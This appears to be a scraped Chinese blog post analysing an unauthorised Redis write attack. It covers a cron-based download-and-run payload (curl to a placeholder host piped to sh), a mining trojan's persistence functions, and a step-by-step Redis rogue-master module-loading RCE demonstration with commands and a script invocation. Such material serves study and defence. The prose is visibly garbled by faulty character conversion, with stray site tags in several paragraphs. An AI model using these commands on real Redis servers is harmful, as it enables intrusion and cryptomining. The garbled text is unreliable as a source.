對一次 redis 未受權寫入攻擊的分析以及學習

前段時間本身使用 redis 開發的時候,搞了一個 docker ,而後直接開放鏈接沒有密碼,其實一開始我就知道會被黑產掃到而後給我種馬,可是把由於也是測試服務,其實也沒怎麼上心,因而就聽任自由了,結果次日果真收到了一份新鮮的木馬。而後簡單對其入侵作了一個分析,結果發現沒有能攻擊成功,可是既然木馬在了就簡單看看吧。css

0X01 簡單回顧一下 redis 攻擊的過程

1.攻擊條件

(1)空密碼而且容許外部直接鏈接

注:這一點其實有不少細節

由於在 3.2 之後有了保護模式,保護模式的做用就是在沒有設置密碼 而且 沒有配置 bind 地址的時候強行只容許本機鏈接,可是對於綁定地址或者是配置過密碼的服務來說這一項能夠忽略。html

另外還有一個誤區就是這個綁定地址不是綁定外部的地址,而是綁定本身服務器的容許做爲與外部進行鏈接的 IP 地址,好比綁定本身服務器的外網 IP,或者綁定 127.0.0.1 或者綁定 0.0.0.0 ,這個綁定 0.0.0.0 就是綁定了本身服務器所有的 ip 地址(服務器能夠有不少的 ip ,好比內網 ip 、迴環 ip、外網 IP 等 ),所以其實對於通常的服務器來講,綁定本身的外網 ip 和直接綁定 0.0.0.0 是沒區別的,不設置密碼的狀況下去綁定外網 ip 起不到任何的保護做用,返回會由於綁定了地址讓保護模式失效遭受攻擊。python

說一句題外話就是:想要安全的話設置了空密碼就要綁定內網地址,不然就老老實實設置密碼

(2)使用 root 權限啓動 redis

高權限用戶啓動的程序擁有和啓動該程序用戶同樣的權限,這大大有利於攻擊者在控制了 redis 以後藉助這種高權限去修改高權限配置文件來完成攻擊(不過如今高版本的 redis 啓動默認都是 redis 權限了而不是原來的 root 權限)mysql

(3)redis 在沒有保護措施的狀況下也沒有修改默認端口

默認端口是 6379 ,很容易被掃到linux

(4)補充

Ubuntu 下執行 crontab 使用的是 sh , 而 sh 軟鏈接的是dash ,而不是 bash,那麼若是你直接在 cron 裏面寫 bash - i xx 的反彈是不可能成功的,解決方法有兩種,一種就是使用 Python 調用 /bin/sh 反彈 shell ,還有一種能夠嘗試寫 sh 文件,而後用 cron 去執行nginx

2.攻擊利用的機制

redis 的攻擊主要是利用 redis 的持久化存儲 RDB 或者 AOF(默認不開啓),所謂持久化就是一種快照機制,用來後期恢復數據。好比 RDB 能夠在必定的條件下將當前內存的數存儲進一個 dump.rdb 文件中,若是下次想恢復這個數據的話,就須要將這個文件放在 redis 的快照保存目錄下,替換當前的 dump.rdb 再次重啓這樣就能恢復原始的數據了git

觸發 RDB 的機制有如下幾種

1 在指定的時間間隔內,執行指定次數的寫操做 ———–>能夠經過配置文件進行設置github

2 執行save(阻塞, 只管保存快照,其餘的等待) 或者是bgsave (異步)命令 —-》手動保存web

3 執行flushall 命令,清空數據庫全部數據 —->清除所有 Key 同時也會清除當前rdbredis

4 執行shutdown 命令,保證服務器正常關閉且不丟失任何數據 ———->很好地保存數據不被清除

3.大概的攻擊流程

(1)修改 redis 的 rdb 文件的存放路徑爲 root 用戶的 crontab 配置文件

設置 dir 到定時任務目錄

config set dir "/var/spool/cron"

設置持 rdb 文件名爲root

config set dbfilename root

(2)使用 FLUSHALL 進行清除數據庫

127.0.0.1:6379> flushall OK

這一步主要是想清除原始 root 文件的內容,也是爲了不沒必要要的格式錯誤

(3)在 redis 中寫入咱們的 cron 語句

127.0.0.1:6379> set test "\n*/10 * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh\n" OK 這裏的換行符是爲了實現寫入時的格式良好,由於 cron 讀取的時候是一行一行讀取的,遇到格式不正確則丟棄

(4)強行觸發 rdb 更新

127.0.0.1:6379> save

至此咱們的 cron 的數據就寫入到了 root 用戶的 cron 文件夾中了

(5)總結:

除了能夠寫 cron 之外,寫一個 一句話 webshell 也是能夠的,其實能夠清楚地看到,redis 的成功攻擊除了依賴於 權限配置的失誤之外,一句話 webshell 以及 cron 對格式要求的不嚴格也是一大重要因素。

0X02 再次回到此次的木馬分析

攻擊者也是同樣,直接 flushall 了個人所有的 key,而後直接給我寫一個名爲 back 的 cron ,每一分鐘從他的服務器上下載了一個腳本運行。

* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh

-f:不輸出錯誤

-s: 靜默不輸出

-S: -s 條件下輸出錯誤

-L: 跟蹤重定向

在肯定了攻擊者攻擊並無成功之後,我下載了木馬,而後簡單的分析了一下,看看有沒有什麼操做我沒有檢測到的。

1.看一下 main 函數總體的調用

能夠說是很是的簡潔明瞭了,木馬開始運行之後依次調用了

mark() 
background() sethosts() checkhost() checkzigw() initfiles() checkcrontab() checkssh() kill() checkservice() clean()

從函數名字大概就能知道木馬作了些什麼,應該對 crontab ssh hosts 文件都作了修改,咱們來一個一個看一看。

2.mark()

簡單的建立了一條命令,並經過 sys 函數進行執行,這個命令的做用是建立一個空文件,從 mark() 這個函數名字能夠猜想來這個空文件的做用多是作爲一個該木馬有沒有成功運行起來的標記

3.background()

設置進程後臺運行,並改變工做目錄爲根目錄

4.checkhost()

刪除主機原始的 hosts 文件而後,從新建立空的 hosts 文件,並添加一系列的域名指向 127.0.0.1

而這些域名通過訪問都是一些礦池

5.checkzigw()

檢測系統中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,這些文件,若是有的話,就結束對應的進程而且刪除對應的文件

其中:chattr -ia 這條命令是關閉可能讓文件沒法刪除的屬性,具體能夠看 這裏

6.initfiles()

該函數的做用主要是下載挖礦木馬,而且修改 rm ,首先是會檢測當前的權限,若是是 root 就把木馬下載到 /etc 目錄下,若是不是 root 的話就下載到 /tmp 目錄下

root 權限

非 root 權限

除了下載 pdvs 之外,還下載了 httpdz 和 migrations 這兩個文件,除此以外若是是在 root 權限下就還有一個替換系統 rm 命令的操做

rm 文件只有一個函數,既然替換了這個文件,那麼必定是很是關鍵的東西,咱們來分析一下

這腳本的地址是什麼呢?看一下 curlurl 變量的交叉引用

其實下載下來就是咱們最上面分析的那個 sh 文件,也就是說這裏的替換其實是一個雙重保險

7.checkcrontab()

該函數主要是對 /var/spool/cron/root 這個文件的內容進行檢查,看看是否是有本身寫的內容,若是沒有則調用命令從新寫入

另外這裏面還使用了 chattr 這個命令對文件的額外屬性進行添加和刪除,防止文件內容被輕易修改,例如:

chattr +i 防止系統中某個關鍵文件被修改

chadttr +a 讓某個文件只能往裏面追加數據,但不能刪除

8.checkssh()

root 權限下可執行這個函數,檢查 /root/.ssh/authorized_keys 是否存在,不存在則從新建立

9.kill()

清理本身建立的一些進程和文件

10.checkservice()

檢測本身建立的系統服務存在,若是存在則設置開機自啓,若是不存在則從新建立這個服務,服務的做用就是下載這個木馬

下圖爲檢測服務裏面的內容是否是自定義的

若是是的話就添加到系統服務並開啓

若是檢測到內容已經被修改了,那麼就刪除這個服務,並從新建立

11.clean()

該函數的主要做用是刪除一些留下的痕跡,包括 history 和登陸痕跡等

0X03 利用 Redis 主從複製來 RCE

1.基本原理

該攻擊方法使用的是 Redis 中的主從複製,以及 Redis4.x 中新引入的自定義模塊加載功能。

(1)先簡單解釋一下這兩個概念

主從複製的概念:

Redis是一個使用ANSI C編寫的開源、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫。雖然 Redi s 的讀寫速度都很是快,但若是當把數據都存儲在單個Redis的實例中,供客戶端去讀取的話, 那麼頗有可能會產生服務器難以承受的讀壓力。

爲了緩解這樣的壓力,主從複製這樣的機制出現了,主從模式就是指使用 一個 redis實例做爲主機(master),其餘實例  做爲從機(slave),主機只負責寫入數據,不少的從機負責讀,這就很想咱們經常說的 CDN 負載均衡的功能,以下圖所示

那麼主從複製是如何進行的呢?

咱們重點關注 RDB 文件部分,咱們能夠發現主從複製依賴的仍是咱們以前常常利用的 RDB 文件,slave 與 master 的同步就和 mysql 使用 Binlog 去恢復數據是同樣的。

Redis 4.x 自定義模塊加載:

Redis從4.0版本開始加入了對外部擴展模塊的支持(其實之前在unstable的版本時 redis 就支持社區的自定義模塊了)。外部擴展模塊能夠實現新的Redis命令,新的Redis數據結構,總之基本上能夠作到全部Redis內核能夠作的事情。

Redis模塊須要引入redismodule.h,用C、C++或其餘提供C binding的開發語言實現,並編譯成動態庫.so文件。

模塊的加載方式,一種是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis啓動時加載。另外一種方式在運行時使用命令MODULE LOAD /path/to/mymodule.so加載。加載的模塊可使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸載。

加載了模塊之後咱們就能直接執行咱們在模塊中自定義的命令了,這是否是有點像 MYSQL 的 UDF(其實就是一個道理)

(2)將二者配合起來

slave 能主從複製機制從 master 獲取到 rdb 文件,那麼咱們是否是能夠本身寫一個 「流氓服務器」 去模擬 master 而後將咱們自定義的模塊經過這種主從複製機制傳遞到 slave 上,slave 端只要將,咱們傳遞來的 rdb 文件保存成一個 .so 文件而後再去進行模塊加載,咱們的攻擊就完成了

2.該種利用方法的優勢

使用這種攻擊方法就能夠完美的解決下面兩個問題,直接實如今目標機器上 RCE

1.高版本 redis 啓動默認是以 redis 權限啓動的,這也就意味着,咱們無法寫 crontab(寫文件形式修改 crontab 被禁用,只能經過交互 crontab -e 進行修改,可是對咱們沒有用),能夠寫 redis 用戶的 ssh key,可是因爲是低權限用戶,危害較小,固然咱們能夠寫 webshell(前提是這臺服務器上有裝 web 服務)

2.ubuntu 服務器實際上用 bash 反彈比較費勁,只能考慮使用 python

3.利用條件

Redis 4.x

能夠遠程鏈接到目標 redis 服務器

4.利用的基本步驟

其實上面咱們已經說了,這裏再細化一下

(1)在目標上執行, 將本身vps設置爲master: SLAVEOF vps port

(2)在目標上執行,設置一下 dbfilename 爲 xxx.so 文件

(3)經過同步,將模塊文件寫到目標的磁盤上: FULLRESYNC <Z*40> 1\r\n$ \r\n (4)在目標上執行,加載模塊: MODULE LOAD /tmp/exp.so

5.利用演示

(1)下載 redis 4.0 鏡像做爲受害靶機

docker pull redis:4.0

(2)交互方式運行鏡像,將 6379 端口映射到主機的 6666 端口

docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash

(3)在 docker 中啓動 redis 服務

redis-server

(4)啓動之後咱們能夠遠程鏈接看一下效果

能夠看到遠端成功無權限訪問個人 redis 數據庫,而且能夠插入數據

(5)在主機中 clone 攻擊腳本(從土師傅的 git 上 fork 下來添加了個 .so)

git clone https://github.com/K0rz3n/redis-rogue-server-1.git

(6)運行腳本

python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333

運行腳本後靶機就會把咱們的 lhost 做爲 master 而後本身作爲 slave 了,而且會同步數據

靶機運行效果:

流氓服務器運行效果:

注:這裏的 127 其實是靶機,xxx 表明的是個人 「流氓服務器」

(7)查看如今的 redis 服務器

能夠看出來,如今的數據庫以及淪爲了只讀模式的 slave

(8)執行命令

相關文章
相關標籤/搜索